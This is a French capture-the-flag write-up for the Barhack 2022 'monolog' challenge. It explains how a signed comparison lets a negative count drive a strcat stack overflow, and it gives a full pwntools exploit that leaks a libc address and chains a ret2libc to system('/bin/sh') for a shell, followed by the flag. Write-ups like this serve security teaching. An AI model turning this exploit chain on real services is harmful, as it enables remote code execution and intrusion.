Barhack 2022 - Write Up Reverse - Monolog
Bdenneu
Ingénieur Sécurité
29.01.2025
Voici le write up du challenge de reverse monolog de la Barhack2022.

Le challenge
Voici le write up du challenge de reverse monolog de la Barhack2022.
On nous a passé un exécutable linux 32 bits, ainsi qu’une IP et un port sur lequel ce dernier tourne. Une libc nous est aussi passée (libc-2.31.so).
Lorsque l’on s’y connecte, il nous demande un nombre pour savoir combien d’entrées utilisateur prendre, puis l’écrit.

Premiers pas
La fonction main lance directement la fonction monolog:

On remarque par ailleurs l’utilisation de strcat qui est connue pour permettre des buffer overflow:

Reverse
Dans la fonction monolog, le programme va demander un nombre, et le comparer à 10. Si le nombre est supérieur, il s’arrête.

Ensuite, il va demander un bloc de 100 caractères et le concaténer à un buffer à ebp-0x3f4 tant qu’un compteur interne n’atteint pas la valeur indiquée au dessus:


Si la ligne stop est envoyée, le programme quitte la boucle, affiche la chaine qui a été concaténée (ebp-0x3f4) et s’arrête:


Exploitation
Dans la comparaison si dessus, on remarque qu’il y a la comparaison entre 10 et le nombre que l’on rentre. Cependant, il n’y a pas vérification sur le signe lors de la comparaison: Si le nombre est négatif (par exemple, -1), il va passer le test d’infériorité et on pourra envoyer 4294967295 blocs de taille 100 et donc overflow avec le strcat.
En terme de protection, il y a
- ASLR
- Partial RELRO
- Pas de canary
- NX
- No PIE

Pour exploiter le code, on va envoyer -1 pour passer la comparaison, et réécrire l’adresse de retour, puis envoyer une ROP. Il faudra envoyer 1016 éléments dans le buffer (0x3f4 + 4 pour réecrire l’adresse de retour qui est juste après ebp dans la pile).
Ici, j’ai choisi de leak une adresse de la libc, et d’appeler system(‘/bin/sh’).
Voici le code d’exploitation:
from pwn import *
r = remote('monolog.brb',1302)
r.recvline()
puts = 0x08049090 //adresse de puts pour afficher les adresses
main = 0x080491d2 //adresse de retour
reloc_puts = 0x0804c024 //adresse de puts dans la GOT
r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()
offset = 1016 //0x3f4 + 4 = 1016
for i in range(offset//0x64):
r.send(b'A'*0x64) //Remplissage du buffer
r.recvline()
//Leak d'une fonction de la libc pour retirer l'aslr
payload = p32(puts)+p32(main)+p32(reloc_puts) //puts(reloc_puts), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
leaked_puts = int.from_bytes(r.recvrepeat(0.1).split(b'\n\n')[2][:4], 'little') //Récupération de l'adresse de puts dans la libc
libc_puts = 0x00070460 //adresse de puts dans la libc
libc_system = 0x00045040 //adresse de system dans la libc
libc_bin_sh = 0x0018c338 //adresse de /bin/sh dans la libc
libc_start = leaked_puts-libc_puts //Calcul de l'adresse de début de la libc
r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()
offset = 1016
for i in range(offset//0x64):
r.send(b'A'*0x64)
r.recvline()
//Ret2libc
payload = p32(libc_start+libc_system)+p32(main)+p32(libc_start+libc_bin_sh) //system('/bin/sh'), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
r.interactive()
On obtient alors un shell.
En local:

Flag
brb{b3_c4r3ful_w17h_516n3d_1n7}




